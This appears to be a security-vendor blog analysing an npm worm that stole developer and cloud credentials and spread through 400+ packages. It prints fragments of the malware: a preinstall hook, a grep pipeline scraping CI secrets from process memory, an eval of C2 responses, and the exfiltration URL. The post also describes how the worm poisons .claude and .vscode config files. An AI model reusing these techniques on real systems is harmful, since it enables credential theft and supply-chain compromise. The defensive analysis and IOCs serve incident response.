BLOG
New npm Worm Hits 400+ Packages Including Keyv, Cachable
Malware based on the open-sourced Mini Shai-Hulud worm steals GitHub, npm, AWS, and cloud credentials
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
Today an unknown threat actor released a new npm worm that started in the keyv and cachable ecosystems and has since expanded into at least 444 packages, publishing over 2000 malicious versions. One of the biggest hit victims is the ServiceTitan ecosystem, which had 100 packages compromised. The worm is part of the "Mini Shai-Hulud" family, meaning it can be traced back to the worm that was open-sourced by TeamPCP earlier this year. We're tracking the compromised packages here.
We took it apart to understand what it does, what it steals, and how it spreads.
The malware contains a 728 KB obfuscated JavaScript payload that's named either math_init.js or Math_Symbol.js (both payload files are exactly the same with the same file hash). It searches developer machines and CI runners for credentials including GitHub, npm, AWS, Kubernetes, Vault, Azure, Google Cloud, Terraform, Docker, Slack, and others. It exfiltrates what it finds, creates public GitHub dead drops, modifies repositories, and publishes poisoned npm packages. It also accepts JavaScript from its command server and passes it to eval(), giving the operator remote code execution on an infected system.
Threat type: Credential stealer, remote-access implant, and self-propagating npm worm
Affected ecosystem: npm, GitHub, GitHub Actions, developer workstations, and CI/CD runners
Initial execution: An npm
preinstallscript launchessetup.mjs, which runs the payload with BunCredential targets: npm, GitHub, AWS, Vault, Kubernetes, Azure, GCP, Terraform, Docker, Slack, and local configuration files
Primary exfiltration:
POST https://<dynamically-resolved-domain>:443/routerFallback exfiltration: A public GitHub repository containing Base64-encoded files under
results/Propagation: Poisoned npm releases, GitHub workflow injection, and malicious commits across repository branches
Remote execution: The C2 response can contain an
executeproperty that is evaluated as JavaScriptPayload SHA-256:
fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1ebsetup.mjs9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bccmath_init.js and Math_Symbol.js
Calling this an “npm malware incident” understates the risk.
npm is only the initial execution mechanism. The real target is the web of trust around a developer or CI runner: source repositories, package-publishing authority, cloud roles, secret managers, Kubernetes identities, and automated release workflows.
The worm turns each credential into a possible route to the next victim. A GitHub token becomes a malicious workflow. An npm token becomes a poisoned patch release. An AWS role becomes access to Secrets Manager. A Kubernetes token becomes access to namespace secrets. A Vault token becomes access to entire secret mounts. That is what makes Shai-Hulud-style attacks worms unique from ordinary infostealers. The stolen credentials are not merely sold or stored. They are immediately weaponized to create new trusted delivery paths.
Patient 0 - Jared Wray
It appears this attack started with a compromise of keyv and cacheable maintainer Jared Wray's npm account. As of this publishing, he's still unable to regain access to his account, and unable to get a response from GitHub or npm. He's taken to X to communicate what's happening and try to get help.
Overview of the malicious behavior
The package presents itself as @onereach/authorizer-helper version 0.0.13, but its installation behavior has nothing to do with authorization helpers. The important part of package.json is only two lines that show the attack begins during installation, before an application imports or calls the package:
"scripts": {
"preinstall": "node setup.mjs"
}
The setup.mjs dropper identifies the host operating system and architecture, locates a suitable Bun runtime, and downloads Bun 1.3.13 if one is not already available. It supports Linux, macOS, Windows, ARM64, x64, and separate musl/Alpine builds. It then launches math_init.js.
Bun isn't just an implementation detail. A giant Bun-generated bundle creates a lot of noise, and many security tools still focus their JavaScript detections on conventional Node.js patterns. The result is a malicious program hidden inside hundreds of kilobytes of bundled runtime code.
A lot of obfuscation for an “authorization helper”
The math_init.js file is 727,680 bytes and contains only two extremely long lines. Most meaningful names have been replaced with generated identifiers. The payload uses several overlapping obfuscation layers:
A rotated table containing more than 4,600 encoded strings
A custom Base91-style decoder
Split strings assembled only at use sites
Encrypted and compressed embedded scripts and configuration
Flattened control flow and generated function names
Broad
try/catchblocks that discard errors
This initially makes the file look like an incomprehensible wall of generated JavaScript. Once the string table is reconstructed, however, the attack becomes very clear. Names such as getHotspots, readHotspots, listSecrets, getSecretValue, installTokenMonitor, commitToRepo, and publishPackage start appearing throughout the program.
And yes, those names are accurate descriptions of what the code does.
What does the worm steal?
The worm begins with three broad collectors: local files, shell-accessible data, and process environment variables. Those results are then fed into more specialized collectors for cloud and development platforms.
Local developer credentials
The filesystem collector searches operating-system-specific “hotspots,” including:
.envfiles and application configuration.npmrcand npm authentication dataGit credentials and GitHub CLI state
SSH keys and configuration
~/.aws/credentialsand~/.aws/configAzure access-token and MSAL caches
Google Cloud credential databases
Google application-default credentials
Terraform credentials
Docker authentication
Kubernetes configuration
Vault tokens
.claudeand.vscodeconfigurationBitcoin wallet data, including
~/.bitcoin/wallet.dat
The collector applies regular expressions for GitHub tokens, npm tokens, AWS credentials, GCP and Azure keys, Slack tokens, Docker authentication, Kubernetes tokens, and generic passwords or API keys.
It's not looking for one specific secret, but instead is trying to turn any developer machine or CI runner into a collection point for every other system that trusts it.
Process and shell data
The shell collector captures the process environment and runs commands synchronously. One Linux command fragment attempts to extract GitHub Actions-style secret objects from accessible memory or process state:
sudo python3 | tr -d '\0' |
grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' |
sort -u
That is a particularly important capability on shared or long-lived CI runners. Secrets that never exist in a source file may still be present in environment variables, temporary files, command output, or process memory.
AWS, Kubernetes, and Vault become secondary victims
Finding a cloud credential is only the beginning. The worm contains clients that immediately test and expand the access it discovers.
AWS metadata and Secrets Manager
The payload talks to the standard EC2 and ECS workload-credential endpoints:
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.170.2
It supports local AWS profiles, EC2 IMDSv2, ECS task credentials, access keys, secret keys, and session tokens. With working credentials it enumerates regions and queries AWS Secrets Manager using operations equivalent to ListSecrets and GetSecretValue.
So an exposed CI role does not only reveal the role’s token. It may expose every application secret that role is permitted to read.
Kubernetes service accounts
The worm detects Kubernetes environments and reads the default service-account mount:
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
It can also extract bearer tokens from kubeconfig files and query secrets available to the compromised identity.
HashiCorp Vault
Vault collection supports VAULT_TOKEN, ~/.vault-token, CI-runner locations, container-mounted tokens, Kubernetes authentication, and AWS IAM authentication.
After authenticating, the worm enumerates mounts through /v1/sys/mounts and reads both KV v1 and KV v2 secrets. It also tries common mount names such as secret, kv, cubbyhole, and secret-v2.
This is a recurring theme throughout the payload: steal one credential, then use its permissions to find the next layer of credentials.
How the malware exfils data
The worm has two main exfiltration paths. The primary C2 is a domain that can change, and the second is a GitHub dead-drop.
Primary C2: a domain that can change
The preferred sender resolves an attacker-controlled domain through an embedded contract or dead-drop mechanism. Once resolved, collected results are sent to:
POST https://<contract-supplied-domain>:443/router
The domain is deliberately not stored as a stable plaintext IOC. The attacker can change the destination without publishing a new copy of the npm package.
Results are serialized into JSON envelopes. Large collections are buffered and split into chunks, with retry logic for transient failures.
Then there is the most dangerous part of the entire sender. After receiving a response, it parses the returned JSON and checks for an execute property:
const responseObject = await response.json();
if (responseObject.execute) {
await eval(responseObject.execute);
}
This is not just data theft. The C2 server can send arbitrary JavaScript back to the victim and run it with the privileges of the npm installation process.
GitHub as a dead-drop service
If the primary sender is unavailable, the worm tries every valid GitHub token it has collected. With a suitable token, it creates a public repository through the GitHub API and uploads stolen data under a results/ directory.
The files look approximately like this:
results-<timestamp>-<counter>.json
results-<timestamp>-<counter>.json.p1
results-<timestamp>-<counter>.json.p2
Each file contains Base64-encoded JSON. Large results are split into numbered parts and committed with exponential retry logic.
Repositories connected to this campaign use the description or marker `Shai-Hulud: Here We Go Again`. There are already over 160 of these public repos in GitHub.
When configured, the worm even double-Base64-encodes the stolen GitHub token and places it in the exfiltration envelope or related commit metadata.
Using GitHub this way gives the attacker reliable global infrastructure, valid TLS, ordinary-looking API traffic, and a data store that defenders may initially mistake for normal developer activity.
The npm worm component
This payload doesn't stop after stealing npm credentials. It uses them.
The worm queries npm’s whoami, token, organization, package metadata, and OIDC publishing endpoints. It identifies packages the victim can publish and then performs the following sequence:
Download the latest package tarball.
Extract it into a temporary directory.
Open
package/package.json.Add
@opensearch/setupas an optional dependency.Increment the patch version.
Repackage the modified directory.
Attempt to generate believable Sigstore/npm provenance.
Publish the poisoned release.
The injected configuration is effectively:
"optionalDependencies": {
"@opensearch/setup": "<attacker-controlled version>"
}
Why an optional dependency? Because package managers will attempt to install it without making the parent package obviously fail on every unsupported environment. It gives the worm another quiet route into downstream builds.
The worm can publish with a stolen npm token or obtain a trusted-publishing token by exchanging a GitHub Actions OIDC identity at:
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/<package>
It requests the audience npm:registry.npmjs.org using ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL.
That is a nasty upgrade over simply stealing .npmrc. Removing long-lived npm tokens from CI is good security practice, but this worm also understands the OIDC workflow intended to replace them.
GitHub becomes another propagation engine
The worm validates GitHub tokens, checks their capabilities, enumerates repositories, and looks for workflow authority.
With a workflow-capable token, it installs or modifies GitHub Actions content intended to harvest more secrets and continue the infection. The current campaign has been associated with:
.github/workflows/codeql_analysis.yml
using a workflow display name resembling Run Copilot.
If workflow propagation is unavailable, the payload falls back to branch injection. It enumerates eligible branches and pushes malicious files using GitHub API and GraphQL commit operations.
The code contains explicit support for these targets:
.vscode/tasks.json
.claude/<worm-payload>
.claude/settings.json
.claude/setup.mjs
.vscode/setup.mjs
This is a clever expansion of the attack surface. A poisoned package reaches builds; a poisoned workflow reaches CI secrets; a poisoned .vscode task reaches developers when they open a project; and malicious Claude configuration targets AI-assisted development environments.
One stolen token can therefore become many poisoned repositories, packages, workflows, and developer machines.
Persistence and anti-analysis
The payload contains an embedded Bash program launched through a pattern equivalent to:
bash -s -- <arguments>
The script is passed through standard input and is described internally as installing a GitHub-token monitor. Persistence names associated with this sample include:
com.user.gh-token-monitor
gh-token-monitor.service
Those names correspond to macOS LaunchAgent and Linux systemd-style persistence.
The worm also creates a lock under the operating system temporary directory:
tmp.dpkg_14527.lock
It checks for analysis and CI conditions, can respawn itself as a detached child, suppresses most exceptions, removes its lock during normal cleanup, and explicitly exits with status zero.
That last behavior matters. A package installation may appear to finish normally even after the malware has failed one exfiltration path, found another, and stolen everything available to it.
Incidence response steps
If this payload ran on a workstation or CI runner, assume every credential available to that process was exposed. A clean npm install log is not evidence that nothing happened. Start with containment:
Isolate the affected host or runner.
Preserve npm, GitHub, cloud, endpoint, and network logs.
Rebuild disposable CI runners from a trusted image.
Revoke active sessions before issuing replacement credentials.
Rotate GitHub, npm, AWS, Vault, Kubernetes, Azure, GCP, Terraform, Docker, Slack, and application secrets from a known-clean system.
In GitHub, search for:
New public repositories containing
results/Repository descriptions containing
Shai-HuludUnexpected commits across many branches
New
.claude,.vscode, or.github/workflowscontentcodeql_analysis.ymlwith an unexpectedRun CopilotworkflowUnexplained Actions runs and OIDC token requests
API calls creating repositories or writing under
contents/results/
In npm, review every package controlled by the affected maintainer for:
Unexpected patch releases
A new
@opensearch/setupoptional dependencyPublishing from unfamiliar systems or addresses
OIDC token exchanges
Unexpected provenance generation
Changes to trusted-publishing configuration
Indicators of Compromise (IOCs)
Malicious files
math_init.js
setup.mjs
tmp.dpkg_14527.lock
gh-token-monitor.service
com.user.gh-token-monitorSHA-256 hashes
fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb setup.mjs
9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc math_init.js and Math_Symbol.jsPackage and repository indicators
@opensearch/setup
.github/workflows/codeql_analysis.yml
.claude/setup.mjs
.claude/settings.json
.vscode/setup.mjs
.vscode/tasks.json
Shai-Hulud: Here We Go Again
Run Copilot
results-<timestamp>-<counter>.json
results-<timestamp>-<counter>.json.p<number>URL
https://npm-cache.com/routerNetwork indicators
POST https://<contract-supplied-domain>:443/router
https://api.github.com/user/repos
https://api.github.com/repos/<owner>/<repo>/contents/results/
https://api.github.com/search/commits?q=
https://registry.npmjs.org/-/whoami
https://registry.npmjs.org/-/npm/v1/tokens
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.170.2The malware makes a call to an ethereum address and resolves this url to exfiltrate to: https://npm-cache.com/router. Detection should focus on the /router path, npm/Bun process ancestry, credential-access behavior, unusual GitHub repository creation, and subsequent publication activity rather than relying only on domain blocklists.
Campaign markers
IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients
thebeautifulmarchoftime